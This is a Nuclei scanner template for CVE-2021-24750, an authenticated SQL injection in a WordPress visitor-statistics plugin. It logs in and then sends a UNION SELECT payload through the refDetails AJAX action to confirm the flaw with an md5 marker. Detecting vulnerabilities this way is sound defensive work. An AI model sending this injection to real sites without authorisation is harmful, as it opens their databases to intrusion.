id: CVE-2021-24750

info:
  name: WordPress Visitor Statistics (Real Time Traffic) <4.8 -SQL Injection
  author: cckuakilong
  severity: high
  description: WordPress Visitor Statistics (Real Time Traffic) plugin before 4.8 does not properly sanitize and escape the refUrl in the refDetails AJAX action, which is available to any authenticated user. This could allow users with a role as low as subscriber to perform SQL injection attacks.
  reference:
    - https://github.com/fimtow/CVE-2021-24750/blob/master/exploit.py
    - https://wpscan.com/vulnerability/7528aded-b8c9-4833-89d6-9cd7df3620de
    - https://plugins.trac.wordpress.org/changeset/2622268
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24750
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2021-24750
    cwe-id: CWE-89
    cpe: cpe:2.3:a:wp_visitor_statistics_\(real_time_traffic\)_project:wp_visitor_statistics_\(real_time_traffic\):*:*:*:*:*:*:*:*
    epss-score: 0.00562
  tags: authenticated,wpscan,cve,cve2021,sqli,wp,wordpress,wp-plugin
  metadata:
    max-request: 2

variables:
  num: "999999999"

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1

      - |
        GET /wp-admin/admin-ajax.php?action=refDetails&requests=%7B%22refUrl%22:%22'%20union%20select%201,1,md5({{num}}),4--%20%22%7D HTTP/1.1
        Host: {{Hostname}}

    cookie-reuse: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{md5({{num}})}}'

      - type: status
        status:
          - 200

# Enhanced by mp on 2022/06/22